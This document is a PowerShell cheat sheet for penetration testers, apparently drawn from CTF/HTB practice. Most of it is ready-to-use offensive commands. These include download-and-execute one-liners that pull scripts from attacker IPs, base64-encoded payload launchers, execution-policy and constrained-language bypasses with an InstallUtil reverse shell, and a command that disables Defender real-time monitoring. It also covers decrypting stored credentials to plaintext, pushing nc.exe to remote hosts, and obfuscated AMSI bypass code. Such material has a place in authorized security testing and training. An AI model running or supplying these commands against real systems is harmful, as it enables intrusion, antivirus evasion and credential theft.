Pentesting

Basic PowerShell for Pentesters

Default PowerShell locations

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Basic PS commands to start

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Download & Execute

powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

Using b64 from linux

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

Download

System.Net.WebClient

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

Invoke-WebRequest

Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsTransfer

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Base64 Kali & EncodedCommand

kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>

Execution Policy

By default it is set to restricted. Main ways to bypass this policy:

1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

More can be found here

Constrained language

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

Bypass

#Easy bypass
Powershell -version 2

In current Windows that Bypass won't work but you can use PSByPassCLM. To compile it you may need to Add a Reference -> Browse ->Browse -> add C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\_31bf3856ad364e35\System.Management.Automation.dll_ and change the project to .Net4.5.

Direct bypass:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Reverse shell:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

AppLockerPolicy

Check which files/extensions are blacklisted/whitelisted.

Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections

Enable WinRM (Remote PS)

enable-psremoting -force #This enables winrm
## Change NetWorkConnection Category to Private
#Requires -RunasAdministrator
Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}

Antivirus

#Check status
Get-MpComputerStatus
#Disable
Set-MpPreference -DisableRealtimeMonitoring $true

PS-History

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

OS version and HotFixes

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Environment

Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value

Other connected drives

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Recycle Bin

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/

Domain Recon

Users

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

Secure String to Plaintext

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB

Or directly parsing form XML:

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB

SUDO

#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

Groups

Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

Clipboard

Get-Clipboard

Processes

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Services

Get-Service

Password from secure string

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

Scheduled Tasks

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Network

Interfaces

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Route

route print

ARP

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Hosts

Get-Content C:\WINDOWS\System32\drivers\etc\hosts

SNMP

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

AMSI bypass

(old)
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
(new)
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html